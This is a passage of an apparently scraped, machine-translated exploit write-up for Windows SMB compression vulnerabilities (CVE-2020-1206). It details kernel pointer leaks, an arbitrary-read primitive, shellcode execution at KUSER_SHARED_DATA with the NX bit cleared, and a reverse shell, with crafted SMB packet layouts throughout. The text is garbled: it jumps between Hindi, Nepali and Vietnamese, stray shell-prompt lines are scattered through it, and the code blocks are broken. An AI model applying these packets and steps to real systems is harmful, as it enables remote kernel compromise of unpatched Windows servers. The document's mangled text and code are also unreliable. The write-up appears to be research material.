यदि हम ऐसा कोई कोड टुकड़ा ढूंढ सकें, तो हम इसे सक्रिय करेंगे ताकि पहले पॉइंटर (जैसे HandlerFunctions) को "User Buffer" क्षेत्र में कॉपी कर सकें, इसे पढ़ सकें, फिर दूसरे पॉइंटर (जैसे Srv2ConnectHandler फ़ंक्शन पॉइंटर) को "User Buffer" में कॉपी कर सकें और इसे पढ़ सकें, इससे मॉड्यूल बेस एड्रेस का अनुमान लगा सकें। Zecops टीम ने लंबे समय तक ऐसे कोड टुकड़े की खोज की, लेकिन कोई उपयुक्त टुकड़ा नहीं मिला। अंततः, उन्होंने SrvNetFreeBuffer फ़ंक्शन (जिसे नीचे सरलीकृत किया गया है) से संबंधित एक और विकल्प का उपयोग किया, जिसकी कार्यक्षमता लगभग वांछित है:``` c void SrvNetFreeBuffer(PSRVNET_BUFFER_HDR Buffer) { PMDL pMdl1 = Buffer->pMdl1; PMDL pMdl2 = Buffer->pMdl2;

root@kitploit:~
if (pMdl2->MdlFlags & 0x0020) {
    // MDL_PARTIAL_HAS_BEEN_MAPPED flag is set.
    MmUnmapLockedPages(pMdl2->MappedSystemVa, pMdl2);
}

if (Buffer->BufferFlags & 0x02) {
    if (Buffer->BufferFlags & 0x01) {
        pMdl1->MappedSystemVa = (BYTE*)pMdl1->MappedSystemVa + 0x50;
        pMdl1->ByteCount -= 0x50;
        pMdl1->ByteOffset += 0x50;
        pMdl1->MdlFlags |= 0x1000; // MDL_NETWORK_HEADER

        pMdl2->StartVa = (PVOID)((ULONG_PTR)pMdl1->MappedSystemVa & ~0xFFF);
        pMdl2->ByteCount = pMdl1->ByteCount;
        pMdl2->ByteOffset = pMdl1->MappedSystemVa & 0xFFF;
        pMdl2->Size = /* some calculation */;
        pMdl2->MdlFlags = 0x0004; // MDL_SOURCE_IS_NONPAGED_POOL
    }

    Buffer->BufferFlags = 0;

    // ...

    pMdl1->Next = NULL;
    pMdl2->Next = NULL;

    // Return the buffer to the lookaside list.
} else {
    SrvNetUpdateMemStatistics(NonPagedPoolNx, Buffer->PoolAllocationSize, FALSE);
    ExFreePoolWithTag(Buffer->PoolAllocationPtr, '00SL');
}

}

root@kitploit:~
जब बफ़र मुक्त किया जाता है, यदि बफ़र फ़्लैग 0x02 (जिसका अर्थ है कि बफ़र एक लुकअसाइड सूची का हिस्सा है) और 0x01 (जिसका अर्थ है कि बफ़र में कोई ट्रांसपोर्ट हेडर नहीं है) सेट हैं, तो फ़्लैग को 0 पर रीसेट करने और बफ़र को लुकअसाइड सूची में वापस करने से पहले ट्रांसपोर्ट हेडर जोड़ने के लिए दो MDL ऑब्जेक्ट्स पर कुछ ऑपरेशन किए जाते हैं। यदि हम MDL ऑब्जेक्ट पर ऑपरेशनों के पीछे बारीकी से देखें, तो हम देख सकते हैं कि कोड दो चरों पर एक डबल-डिरेफरेंस-रीड और उसके बाद एक डबल-डिरेफरेंस-राइट करता है, जिन्हें हम नियंत्रित करते हैं (दो MDL पॉइंटर्स), और यही वह चीज़ है जिसकी हम तलाश कर रहे हैं। नुकसान यह है कि जिस सामग्री को हम पढ़ना चाहते हैं, वह भी संशोधित हो जाती है, जो एक दुष्प्रभाव है जिससे हम बचने की उम्मीद करते हैं।

उपरोक्त को ध्यान में रखते हुए, इस प्रकार हम AcceptSocket पॉइंटर को पढ़ने का प्रबंधन करते हैं:
1. एक लुकअसाइड सूची से बफ़र A तैयार करें ताकि "उपयोगकर्ता बफ़र" क्षेत्र शून्य से भरा हो। इस बफ़र का उपयोगकर्ता बफ़र क्षेत्र उस पॉइंटर को रखेगा जिसे हम पढ़ेंगे।
2. एक अन्य लुकअसाइड सूची से बफ़र B तैयार करें ताकि:
- pMdl1 पॉइंटर, MDL संरचना में MappedSystemVa के ऑफ़सेट के रूप में 0x18 को घटाकर, AcceptSocket पॉइंटर के पते की ओर इंगित करे।
- pMdl2 पॉइंटर, बफ़र A के "उपयोगकर्ता बफ़र" क्षेत्र की ओर इंगित करे।
- फ़्लैग्स फ़ील्ड 0x03 पर सेट हो।

हम [Observation #2](https://github.com/datntsec/CVE-2020-1206#observation-2-failing-the-decompression) अनुभाग में वर्णित तकनीक के माध्यम से बड़े बफ़र से डीकंप्रेस करके SRVNET_BUFFER_HDR संरचना फ़ील्ड को अधिलेखित कर सकते हैं।

3. जब बफ़र B मुक्त किया जाता है, तब निम्नलिखित क्रियाएँ होंगी:
- बफ़र A पर दूसरे MDL से MDL फ़्लैग पढ़े जाएंगे। यदि MDL_PARTIAL_HAS_BEEN_MAPPED फ़्लैग सेट है, तो MmUnmapLockedPages को कॉल किया जाएगा और सिस्टम के क्रैश होने की संभावना है। यही कारण है कि हमें चरण 1 में बफ़र को शून्य से भरना होगा।
- AcceptSocket पॉइंटर और उसके आस-पास की मेमोरी को यहाँ वर्णित अनुसार संशोधित किया जाएगा:```
+00 |  00 00 00 00 00 00 00 00
+08 |  __ __ __|10 __ __ __ __
+10 |  __ __ __ __ __ __ __ __
+18 |  [+50..................]  <--  AcceptSocket
+20 |  __ __ __ __ __ __ __ __
+28 |  [-50......] [+50......]
  • AcceptSocket पॉइंटर और उसके आसपास की मेमोरी को यहाँ वर्णित अनुसार पढ़ा जाएगा:``` +00 | __ __ __ __ __ __ __ __ +08 | __ __ __ __ __ __ __ __ +10 | __ __ __ __ __ __ __ __ +18 | ab cd ef gh ij kl mn op <-- AcceptSocket +20 | __ __ __ __ __ __ __ __ +28 | qr st uv wx __ __ __ __
root@kitploit:~
- बफर A का "User buffer" क्षेत्र यहाँ वर्णित अनुसार संशोधित किया जाएगा: (नारंगी बाइट्स में वे पॉइंटर्स हैं जिन्हें हम पढ़ना चाहते हैं, हमें बस उन्हें सही ढंग से व्यवस्थित करने की आवश्यकता है)```
+00 |  00 00 00 00 00 00 00 00
+08 |  ?? ?? 04 00 __ __ __ __
+10 |  __ __ __ __ __ __ __ __
+18 |  __ __ __ __ __ __ __ __
+20 |  00 c0 ef gh ij kl mn op
+28 |  qr st uv wx ab 0d 00 00

  1. बफर A के "यूज़र बफर" क्षेत्र से AcceptSocket पॉइंटर पढ़ें।

अच्छी खबर यह है कि हमने पॉइंटर पढ़ लिया है। बुरी खबर यह है कि हमने SRVNET_RECV संरचना में कुछ डेटा खराब कर दिया है। हमारे लिए सौभाग्य की बात है कि जब तक संबंधित कनेक्शन के साथ कुछ नहीं होता, यह बग सिस्टम को प्रभावित नहीं करता। जब कुछ होता है, जैसे कनेक्शन बंद होना, तो सिस्टम क्रैश हो जाएगा। यह कोई समस्या नहीं है क्योंकि हम जल्द ही RCE प्राप्त कर लेंगे और चाहें तो बग को ठीक कर सकते हैं।

AcceptSocket पॉइंटर पढ़ने के बाद, हम srvnet!SrvNetWskConnDispatch पॉइंटर को पढ़ने के लिए उसी तकनीक का उपयोग करते हैं। हमने HandlerFunctions के बजाय AcceptSocket पॉइंटर को पढ़ने का कारण यह है कि HandlerFunctions की सरणी सभी कनेक्शनों के बीच साझा की जाती है, जबकि AcceptSocket द्वारा इंगित बफर अन्य कनेक्शनों के साथ साझा नहीं किया जाता है। इसलिए, यदि हम AcceptSocket के कुछ हिस्सों को खराब करते हैं, तो इसका प्रभाव केवल एक कनेक्शन की स्थिरता पर पड़ेगा।

यदि हमारे पास लक्ष्य मशीन पर उपयोग किए जा रहे srvnet.sys फ़ाइल की प्रतिलिपि है, तो हम उस SrvNetWskConnDispatch पॉइंटर के ऑफ़सेट को घटाकर आसानी से srvnet.sys मॉड्यूल का बेस पता प्राप्त कर सकते हैं जिसे हमने लीक किया है।

Implementing arbitrary read

मान लें कि हमारे पास srvnet.sys मॉड्यूल का बेस पता है, तो हम मॉड्यूल के किसी भी फ़ंक्शन को कॉल कर सकते हैं। लेकिन फंक्शन के तर्कों का क्या? srv2!Srv2ReceiveHandler फ़ंक्शन को SrvNetCommonReceiveHandler द्वारा कॉल किया जाता है और कॉल इस प्रकार है:``` c HandlerFunctions = *(pSrvNetRecv + 0x118); Arg1 = *(ULONG_PTR)(pSrvNetRecv + 0x128); Arg2 = *(ULONG_PTR)(pSrvNetRecv + 0x130); (HandlerFunctions[1])(Arg1, Arg2, Arg3, Arg4, Arg5, Arg6, Arg7, Arg8);

root@kitploit:~
पहले दो आर्गुमेंट SRVNET_RECV स्ट्रक्चर से पढ़े जाते हैं, इसलिए हम उन्हें नियंत्रित कर सकते हैं, हालांकि हम बाकी आर्गुमेंट्स को नियंत्रित नहीं कर सकते। x86-64 कॉलिंग कन्वेंशन निर्दिष्ट करता है कि कॉल करने वाला आर्गुमेंट्स के लिए स्टैक स्पेस आवंटित और मुक्त करने के लिए जिम्मेदार है, इसलिए भले ही 8 आर्गुमेंट वाले फंक्शन को कॉल करने का इरादा है, हम पॉइंटर को किसी भी अन्य फंक्शन से बदल सकते हैं जो किसी भी संख्या में आर्गुमेंट की अपेक्षा करता है।

![](https://assets.kitploit.com/production/public/readmes/24502/223827f49f26993604c20b873d75ea5b11d306a85ff5210ceb2583f0a0b9452c.png)

नीचे वे चरण दिए गए हैं जिनका उपयोग हम फंक्शन कॉल को ट्रिगर करने के लिए करेंगे:
1. एक विशेष रूप से तैयार संदेश भेजें ताकि कनेक्शन का SRVNET_RECV स्ट्रक्चर पॉइंटर एक बफर में कॉपी हो जाए जिसे हम पढ़ सकें।
2. एक और वैध संदेश भेजें, जो उसी SRVNET_RECV स्ट्रक्चर का पुन: उपयोग करेगा, लेकिन कनेक्शन को बंद नहीं करेगा। ध्यान दें कि जब कनेक्शन बंद होता है, SRVNET_RECV स्ट्रक्चर मुक्त नहीं होता है। फंक्शन SrvNetPrepareConnectionForReuse को कॉल किया जाता है ताकि स्ट्रक्चर को रीसेट किया जा सके और इसे अगले कनेक्शन के लिए पुन: उपयोग किया जा सके।
3. उस SRVNET_RECV स्ट्रक्चर पॉइंटर को पढ़ें जिसे हमने चरण 1 में कॉपी किया था।
4. write-what-where primitive का उपयोग करके HandlerFunctions पॉइंटर और आर्गुमेंट्स को बदलें।
5. चरण 2 के कनेक्शन के माध्यम से एक अतिरिक्त संदेश भेजें ताकि srv2!Srv2ReceiveHandler के लिए प्रतिस्थापित फंक्शन कॉल हो।

अब हमें बस एक ऐसा फंक्शन ढूंढना है जो मेमोरी को एक स्थान से दूसरे स्थान पर कॉपी कर सके, ताकि हम मनमानी मेमोरी को एक पूल बफर में कॉपी कर सकें जिसे हम पढ़ सकें। memcpy एक विकल्प है और srvnet.sys में ऐसा एक फंक्शन है (अधिक सटीक रूप से memmove), लेकिन इस फंक्शन को तीसरे आर्गुमेंट की आवश्यकता होती है, जो बताता है कि कितने बाइट्स कॉपी करने हैं, जिसे हम नियंत्रित नहीं कर सकते। हालांकि, हम केवल srvnet.sys में लागू किए गए फंक्शन तक सीमित नहीं हैं, हम srvnet के import table से भी फंक्शन कॉल कर सकते हैं और RtlCopyUnicodeString फंक्शन हम जो चाहते हैं उसे करने के लिए एक आदर्श विकल्प है।

RtlCopyUnicodeString फंक्शन दो UNICODE_STRING पॉइंटर्स को आर्गुमेंट के रूप में लेता है और स्रोत स्ट्रिंग की सामग्री को गंतव्य स्ट्रिंग में कॉपी करता है। NULL-समाप्त C स्ट्रिंग्स के विपरीत, कर्नेल में स्ट्रिंग्स UNICODE_STRING स्ट्रक्चर द्वारा परिभाषित की जाती हैं जिसमें स्ट्रिंग की ओर एक पॉइंटर और बाइट्स में स्ट्रिंग की लंबाई होती है। स्ट्रिंग बफर में कोई भी बाइनरी डेटा हो सकता है। यदि आप RtlCopyUnicodeString फंक्शन के कोड को देखते हैं, तो आप देख सकते हैं कि कॉपी memmove फंक्शन के साथ की जाती है, यानी शुद्ध बाइनरी डेटा कॉपी होता है। हमें बस दो UNICODE_STRING स्ट्रक्चर तैयार करने हैं और RtlCopyUnicodeString को कॉल करना है, फिर कॉपी किए गए डेटा को पढ़ना है:

![](https://assets.kitploit.com/production/public/readmes/24502/8a450b86ecf834ec4905a2bb72dab3781d1dd2ad56ee197a003e282180ce51bc.png)

## शेलकोड निष्पादित करना
सुविधाजनक मनमाना पढ़ने की primitive प्राप्त करने के बाद, हम Remote Code Execute के लक्ष्य की ओर अगली चुनौती पर आगे बढ़ते हैं, जो एक शेलकोड चलाकर प्राप्त होता है। हम उस तकनीक का उपयोग करेंगे जिसे Morten Schenk ने [Black Hat USA 2017](https://www.blackhat.com/docs/us-17/wednesday/us-17-Schenk-Taking-Windows-10-Kernel-Exploitation-To-The-Next-Level%E2%80%93Leveraging-Write-What-Where-Vulnerabilities-In-Creators-Update.pdf) पर अपनी बातचीत में प्रस्तुत किया था (स्लाइड 47-51)।

विचार KUSER_SHARED_DATA स्ट्रक्चर के नीचे एक शेलकोड लिखना है, जिसका एक निश्चित पता है, जो हाल के Windows संस्करणों के कर्नेल मेमोरी लेआउट में एकमात्र गैर-रैंडमाइज़्ड पता है। फिर, संबंधित पेज टेबल एंट्री को संशोधित करें, जिससे पेज निष्पादन योग्य हो जाए। कर्नेल में पेज टेबल एंट्री का बेस पता रैंडम है, लेकिन ntoskrnl.exe में MiGetPteAddress फंक्शन से प्राप्त किया जाता है। नीचे वे चरण दिए गए हैं जिनका उपयोग हम अपने शेलकोड को निष्पादित करने के लिए करेंगे:
1. srvnet के import table से ntoskrnl.exe का बेस पता प्राप्त करने के लिए मनमाना पढ़ने की primitive का उपयोग करें।
2. MiGetPteAddress फंक्शन से पेज टेबल एंट्री का बेस पता पढ़ें, जैसा कि Morten की स्लाइड्स में वर्णित है।
3. KUSER_SHARED_DATA + 0x800 (0xFFFFF78000000800) पर शेलकोड लिखें। ध्यान दें कि हम शेलकोड को स्टोर करने के लिए पूल बफर में से एक का भी उपयोग कर सकते हैं, KUSER_SHARED_DATA का उपयोग चीजों को सरल बनाने के लिए है।
4. संबंधित पेज टेबल एंट्री के पते की गणना करें और Execute को अनुमति देने के लिए NX बिट साफ़ करें, जैसा कि Morten की स्लाइड्स में वर्णित है।
5. ऊपर वर्णित तकनीक का उपयोग करके एक मनमाना फंक्शन कॉल करके शेलकोड को कॉल करें।

Zecops द्वारा reverse shell के लिए उपयोग किया जाने वाला शेलकोड [sleepya’s shellcode](https://github.com/worawit/MS17-010/tree/master/shellcode) है, जो EternalBlue एक्सप्लॉइट के लिए लिखा गया था। उन्होंने हाल के Windows संस्करणों पर काम करने के लिए उपरोक्त शेलकोड को संशोधित किया।

# डीबग

![](https://assets.kitploit.com/production/public/readmes/24502/916c7b643fdf7c8967b2b80189a686858d4cceaf35ddb1f38b83a7ae92f7a14f.png)

SMB पैकेट की जानकारी की संरचना लगभग ऊपर जैसी ही होती है। मान लीजिए कि हमें User Buffer का पता लीक करने की आवश्यकता है, तो हमें UserBufferPtr पॉइंटर को पढ़ना होगा। इस पॉइंटर को पढ़ने के लिए, हम [तकनीक](https://github.com/datntsec/CVE-2020-1206#srvnetallocatebuffer-and-the-allocated-buffer-layout) का लाभ उठाएंगे जहां हम offset फ़ील्ड को पॉइंटर से आगे रखते हैं ताकि इसे दूसरे बफर के user buffer क्षेत्र में कॉपी किया जा सके।

क्लाइंट द्वारा भेजे गए SMB पैकेट का उदाहरण निम्नलिखित है:```c
Header:
-   Id = 0x424d53fc
-   OriginalCompressedSegmentSize = 0x0
-   CompressionAlgorithm = 1
-   Flag = 0
-   Offset = 0x2116
Data = ‘A’ * 0x1101.

यह पैकेट सर्वरमा पहुँच गर्दा SrvNetAllocateBuffer फंक्शन द्वारा बनाएको बफरमा भण्डारण हुनेछ। पूरै पैकेटको साइज 0x1100 देखि 0x2100 को बीचमा भएकोले, यो फंक्शनले 0x2100 साइजको user buffer (यसलाई हामी Alloc A भन्नेछौं) रहेको alloc फिर्ता गर्नेछ, र त्यसपछि तलको चित्रमा देखाइए अनुसार क्लाइन्टद्वारा पठाइएको जानकारी भण्डारण गर्नेछ:

हामी देख्न सक्छौं कि पत्ता 0xffffd38439044050 देखि 0xffffd38439045160 सम्मको भाग क्लाइन्टद्वारा पठाइएको डेटा हो, 0xffffd38439045160 देखि 0xffffd38439046150 सम्मको भाग सर्वर साइडमा प्रारम्भ नगरिएको डेटा हो, र 0xffffd38439046150 देखि 0xffffd38439046240 सम्मको भाग Alloc A को SRVNET_BUFFER_HDR डेटा हो। यसरी, हामीले पढ्न चाहेको पोइन्टर 0xffffd38439046150 + 0x18 = 0xffffd38439046168 मा हुनेछ।

यो पोइन्टर पढ्नको लागि, मैले माथि उल्लेख गरेको प्रविधि प्रयोग गरेको छु, जसमा offset फिल्डलाई पढ्न आवश्यक पोइन्टरभन्दा बाहिर सेट गरिन्छ। यसै कारणले, यद्यपि माथिको पैकेटको साइज 0x2100 भन्दा सानो छ, तर offset 0x2116 मा सेट गरिएको छ।

अर्को, SMB सर्वरले OriginalCompressedSegmentSize र Offset (0x2116) को योगफलको आधारमा SrvNetAllocateBuffer फंक्शनलाई कल गर्नेछ र मेमोरी आवंटित गर्नेछ। त्यसबाट 0x4100 साइजको user buffer (यसलाई हामी Alloc B भन्नेछौं) रहेको alloc आवंटित हुनेछ। आवंटित डेटा निम्न प्रकारको हुनेछ:

अनावश्यक त्रुटिहरूबाट बच्नको लागि, मैले पहिले नै Alloc B सँग समान lookasite list भएका बफरहरू धेरै पटक सिर्जना गरिसकेको छु र तिनलाई 0x0 बाइट्सले भरेको छु।

अर्को, SMB सर्वरले कम्प्रेस गरिएको डेटालाई डिकम्प्रेस गर्नेछ र क्लाइन्टद्वारा पठाइएको गैर-कम्प्रेस गरिएको डेटालाई Alloc B को user buffer मा कपी गर्नेछ:

जस्तो हामी देख्न सक्छौं, OriginalCompressedSegmentSize = 0 भएकोले कुनै कम्प्रेस गरिएको डेटा छैन। प्रोग्रामले Alloc A को 0xffffd38439044060 देखि 0xffffd38439044060 + 0x2116 = 0xffffd38439046176 सम्मको डेटालाई Alloc B को user buffer मा कपी गर्नेछ। यसरी, Alloc A को SRVNET_BUFFER_HDR को केही जानकारी Alloc B को user buffer मा कपी हुन्छ।

अब हामी पहिले उल्लेख गरेको प्रविधि प्रयोग गरेर allocation pool को पत्ता (User Buffer को पत्ता) लीक गर्न सक्छौं।

मानौं हामी पत्ता 0xffffd3843636f15e मा एक बाइट 0x7f भन्दा ठूलो छ कि छैन भनेर जान्न चाहन्छौं। हामी निम्न जानकारीको साथ SMB पैकेट सिर्जना गर्नेछौं:``` c Header:

  • Id = 0x424d53fc
  • OriginalCompressedSegmentSize = 0x1ff2
  • CompressionAlgorithm = 1
  • Flag = 0
  • Offset = 0x210e Data = ‘B’ * 0x210e + compress(‘\xb0’ + ‘\x00’(0x7f+3) + ‘\xff’(0xff - 0x7f)) + ‘\xff’*0x1fe9
root@kitploit:~
ऐसा SMB बनाने की आवश्यकता क्यों है, हम एक-एक करके विश्लेषण करेंगे। पहले, OriginalCompressedSegmentSize और Offset का योग 0x4100 है, इसलिए यह समान user buffer वाले एक alloc का पुन: उपयोग करेगा, अर्थात पहले उपयोग किया गया Alloc B। चूँकि हम यह अनुमान लगाना चाहते हैं कि पते 0xffffd3843636f15e पर 1 बाइट 0x7f से बड़ा है या नहीं, और यह पता user buffer के पते से 0x210e दूर है, इसलिए असम्पीडित डेटा में 0x210e बाइट होंगे ('B' * 0x210e)। इसके बाद एक वैध संपीडित डेटा क्षेत्र होगा (compress() फ़ंक्शन द्वारा संपीडित), उसके बाद एक अवैध संपीडित डेटा ('\xff' * 0x1fe9) होगा। ताकि डीकंप्रेसन के दौरान, केवल वैध संपीडित डेटा भाग को किसी अन्य alloc में डीकंप्रेस किया जाए, फिर अवैध संपीडित डेटा के कारण कनेक्शन टूट जाएगा, और असम्पीडित डेटा उस alloc में कॉपी नहीं होगा, जिससे पहले कॉपी किया गया डेटा बना रहेगा।

![](https://assets.kitploit.com/production/public/readmes/24502/3e1ffd768b120645917e7f1757987f80c79514b52f3bc18e46fdfb0a2d2ca05f.png)

उपरोक्त एक Alloc है जिसमें वह जानकारी है जो हमने ऊपर बताई है, जो SMB सर्वर द्वारा बनाया गया है। अगला, SMB सर्वर एक संगत Alloc बनाने के लिए SrvNetAllocateBuffer फ़ंक्शन को कॉल करेगा। चूँकि इसका OriginalCompressedSegmentSize और Offset का योग 0x4100 है, Alloc B का पुन: उपयोग किया जाएगा:

![](https://assets.kitploit.com/production/public/readmes/24502/5b218cbd142d58da175ee6a58bfc505646a560467db6db28ab70e0db34ee9ce3.png)

फिर SMB सर्वर क्लाइंट से भेजी गई जानकारी को Alloc B के user buffer क्षेत्र में संबंधित offset पर डीकंप्रेस करता है।

![](https://assets.kitploit.com/production/public/readmes/24502/f3b545366e8f3bcff6a69d184cc383bfcf70643c23ff0ac01ece1a95cc0fd88d.png)

लाल रंग का डेटा डीकंप्रेस किया गया डेटा है, बाकी भाग बरकरार रहेगा। जैसा कि ऊपर चित्र में देखा जा सकता है, जिस बाइट को हम जानना चाहते हैं वह बरकरार रहेगी, और उसके तुरंत बाद अभी डीकंप्रेस किया गया डेटा होगा।

यह जानने के लिए कि यह बाइट 0x7f से बड़ा है या नहीं, हम आगे बढ़ते हैं:

हम निम्नलिखित सामग्री के साथ एक SMB पैकेट बनाना जारी रखते हैं:``` c
Header:
-   Id = 0x424d53fc
-   OriginalCompressedSegmentSize = 0x2004
-   CompressionAlgorithm = 1
-   Flag = 0
-   Offset = 0x20fd
Data = ‘B’ * 0x20f1

हालांकि कुल OriginalCompressedSegmentSize और Offset 0x4100 से बड़ा है, लेकिन जब क्लाइंट से आए पैकेट को संग्रहीत करने के लिए alloc आवंटित किया जाता है (जिसका कुल आकार 0x4100 से कम है), तब भी SMB सर्वर केवल एक Alloc आवंटित करता है जिसका user buffer क्षेत्र 0x4100 बाइट है जैसा कि नीचे दिए गए चित्र में दिखाया गया है:

ऊपर हरे रंग में हाइलाइट किया गया डेटा पिछली बार आवंटित Alloc B का डेटा है, क्योंकि यह एक ही lookaside list से है, इसलिए इसका पुन: उपयोग किया जाता है।

इसके बाद SMB सर्वर डीकंप्रेसन के बाद डेटा को संग्रहीत करने के लिए एक Alloc आवंटित करने हेतु SrvNetAllocateBuffer फ़ंक्शन को कॉल करेगा:

डीकंप्रेसन के माध्यम से, SMB सर्वर User buffer address + Offset = 0xffffd3843636d060 + 20fd = 0xffffd3843636f15d से डेटा लेगा। निकाला गया डेटा इस प्रकार होगा:

ऊपर वर्णित डीकंप्रेसन एल्गोरिथम के साथ, यह पहले 2 बाइट लेगा और उन्हें ब्लॉक की length के रूप में उपयोग करेगा, उस length के आधार पर यह length के बाद अगले भाग को लेगा और डीकंप्रेस करेगा।

जैसा कि ऊपर बताया गया है, length 0xB0D3 होगी, लेकिन एल्गोरिथम के अनुसार, इसकी वास्तविक length सूत्र length = length & 0xFFF + 1 के अनुसार होगी → length 0xD4 होगी। यह अगले D4 बाइट लेगा और सामान्य रूप से डीकंप्रेस करना जारी रखेगा जब तक कि उसे FF बाइट न मिल जाए (क्योंकि 0xD4 बाइट में सभी 00 बाइट और FF बाइट का कुछ भाग शामिल होगा), उस समय संपीड़ित डेटा को अमान्य माना जाता है, यह आगे डीकंप्रेस नहीं करेगा और कनेक्शन को बंद कर देगा।

सर्वर के कनेक्शन बंद करने के आधार पर, हम अनुमान लगा सकते हैं कि जिस बाइट को हमें जानना है वह 0x7f से बड़ी है।

अब, यदि हमें जिस बाइट का अनुमान लगाना है वह छोटी है तो क्या होगा। हम ऊपर विश्लेषण जारी रखेंगे, लेकिन इस बार हम तुलना के लिए D7 बाइट का उपयोग करेंगे, इस प्रकार D3, D7 से छोटा है। आइए देखें क्या होता है:

पहले SMB सर्वर को निम्नलिखित पैकेट भेजें:``` c Header:

  • Id = 0x424d53fc
  • OriginalCompressedSegmentSize = 0x1ff2
  • CompressionAlgorithm = 1
  • Flag = 0
  • Offset = 0x210e Data = ‘B’ * 0x210e + compress(‘\xb0’ + ‘\x00’(0xd7+3) + ‘\xff’(0xff - 0xd7)) + ‘\xff’*0x1fe9
root@kitploit:~
Phía SMB server sẽ tạo một alloc lưu trữ như sau:

![](https://assets.kitploit.com/production/public/readmes/24502/3df2c6c8e5de90714455663bbb922efec7ae6888a970a3d65e389a28aea16837.png)

Tiếp theo nó sẽ gọi hàm SrvNetAllocateBuffer để cấp phát một alloc như sau:

![](https://assets.kitploit.com/production/public/readmes/24502/51affc73361727907ada6fb3f439831d0e95cee531a65106fa79ce4519ceaab8.png)

Tất nhiên alloc này được tái sử dụng lại từ alloc có cùng lookasidelist (Alloc B). Sau đó chương trình tiến hành giải nén bình thường với dữ liệu nén hợp lệ, và ngắt kết nối với dữ liệu nén không hợp lệ:

![](https://assets.kitploit.com/production/public/readmes/24502/01a9cc43acbc6b7cc283f40a0dbe348608a3566bfc34ce24aa2cc694315e67a3.png)

Bước tiếp theo, ta sẽ gửi tiếp một dữ liệu tương tự như lần trước và SMB server sẽ cấp phát một alloc tương ứng:

![](https://assets.kitploit.com/production/public/readmes/24502/ed438d4d0049b2188573e0fb3171cadf23701c7b0cef2de43a52434c07381341.png)

Các dữ liệu được tô màu xanh lá như trên là những dữ liệu của Alloc B được cấp phát lần trước, do cùng lookaside list nên được tái sử dụng.

Tiếp theo SMB Server sẽ gọi hàm SrvNetAllocateBuffer để cấp phát một Alloc chứa dữ liệu sau khi giải nén:

![](https://assets.kitploit.com/production/public/readmes/24502/7ed3dca4594bd1772c44689190d4df3b597d43daf7c87edb281b3e82a834884e.png)

Qua việc giải nén, SMB server sẽ lấy dữ liệu từ User buffer address + Offset = 0xffffd3843636d060 + 20fd = 0xffffd3843636f15d. Dữ liệu được lấy ra sẽ có dạng như sau:

![](https://assets.kitploit.com/production/public/readmes/24502/68f677093ef93e02c5df9d70dce560e4d06e74446970f1f14f1ad37f08ce898e.png)

Tương tự như lần trước thì length ban đầu sẽ là 0xB0D3, qua tính toán sẽ thành 0xD4. Và nó sẽ lấy ra D4 byte tiếp theo và tiến hành giải nén bình thường. Tuy nhiên do D4 < D7 nên dữ liệu nén được lấy ra để giải nén lúc này chỉ chứa toàn byte 0. Nó sẽ giải nén bình thường cho đến hết block đó. Tiếp theo nó sẽ lấy ra độ dài của block tiếp theo thông qua độ dài của block trước đó, hai byte tiếp theo là D5 và D6 là 0x0, nên độ dài của nó lúc này là 0x0, do đó length lấy ra sẽ là  0x0000 → kết thúc quá trình giải nén → giải nén thành công  → SMB server trả lại một response → ta biết được byte cần biết nhỏ hơn hoặc bằng 0xD7.

Tương tự như vậy ta sẽ làm cho đến khi leak được toàn bộ 6 byte của một address. Ta sẽ có được allocation pool address.

Khi có được allocation pool address, ta sẽ tiến hành tìm địa chỉ srvnet base address thông qua việc lấy con trỏ trỏ tới cấu trúc SRVNET_RECV bằng cách tương tự như leak allocation pool address.

Sau khi có được 2 địa chỉ: allocation pool và SRVNET_RECV lần lượt có giá trị: `0xffffd38439044000` và `0xffffd3843654ddd8`, ta tiến hành leak srvnet base address.

![](https://assets.kitploit.com/production/public/readmes/24502/403108b6e79960d84369827376e208b606ba05304ae052ec4ae251cd289399a7.png)

![](https://assets.kitploit.com/production/public/readmes/24502/239c0c59c0e492097bdaf2eac907812124a89ef8bb31841287202ae80f4d13d0.png)

Để đọc con trỏ AcceptSocket, ta cần làm như sau:

1. Chuẩn bị Alloc A từ một lookaside list sao cho vùng “User buffer” được lấp đầy bởi các số 0. Buffer này sau đó sẽ chứa con trỏ mà chúng ta sẽ đọc. Ở đây Alloc A sẽ được sử dụng từ Alloc ứng với allocation pool address mà ta leak được. Do đó, vùng User buffer của Alloc A sẽ bắt đầu từ địa chỉ 0xffffd38439044050 thông qua việc sử dụng chung một lookaside list.
2. Chuẩn bị Alloc B từ một lookaside list khác để:
- Con trỏ pMdl1 trỏ đến địa chỉ của con trỏ AcceptSocket trừ đi 0x18, (do offset của MappedSystemVa là 0x18 trong cấu trúc MDL).
- Con trỏ pMdl2 trỏ đến vùng “User buffer” của Buffer A.
- Trường Flags được set thành 0x03.

Như vậy địa chỉ của 2 con trỏ Mdl lần lượt là: mdl1_ptr: `0xffffd3843654de68`, mdl2_ptr: `0xffffd38439045250`.

Ta có thể ghi đè các trường cấu trúc SRVNET_BUFFER_HDR bằng cách giải nén chúng từ buffer lớn hơn thông qua kỹ thuật được mô tả trong phần [Observation #2](https://github.com/datntsec/CVE-2020-1206#observation-2-failing-the-decompression).

Tôi sẽ nói rõ hơn bước này ngay sau bước 4.

3. Khi Buffer B được giải phóng, các hoạt động sau sẽ diễn ra:
- Các MDL flags sẽ được đọc từ MDL thứ hai tại buffer A. Nếu MDL_PARTIAL_HAS_BEEN_MAPPED flag được set, MmUnmapLockedPages sẽ được gọi và hệ thống có khả năng bị crash. Đó là lý do tại sao ta phải lấp đầy buffer bằng các số 0 ở bước 1.
- Vùng “User buffer” của Alloc A sẽ được sửa đổi và chứa các thông tin mà ta cần đọc.
4. Đọc con trỏ AcceptSocket từ vùng “User buffer” của buffer A.
- Sử dụng kĩ thuật leak địa chỉ đã dùng ở trên để đọc con trỏ AcceptSocket.

Sau đây tôi sẽ mô tả rõ hơn về các bước trên:

Ở bước 1 khá đơn giản  và tương tự như trên, nên tôi sẽ không nói đến nữa.

Ở bước 2, đầu tiên ta sẽ tạo một gói tin gửi đến SMB Server với nội dung như sau:``` c
Header:
-   Id = 0x424d53fc
-   OriginalCompressedSegmentSize = -0x38
-   CompressionAlgorithm = 1
-   Flag = 0
-   Offset = 0x10138
Data = ‘A’ * 0x10138 + compress(mdl1_ptr  + ‘\x00’*0x10 + mdl2_ptr) + ‘\xff’*0x10

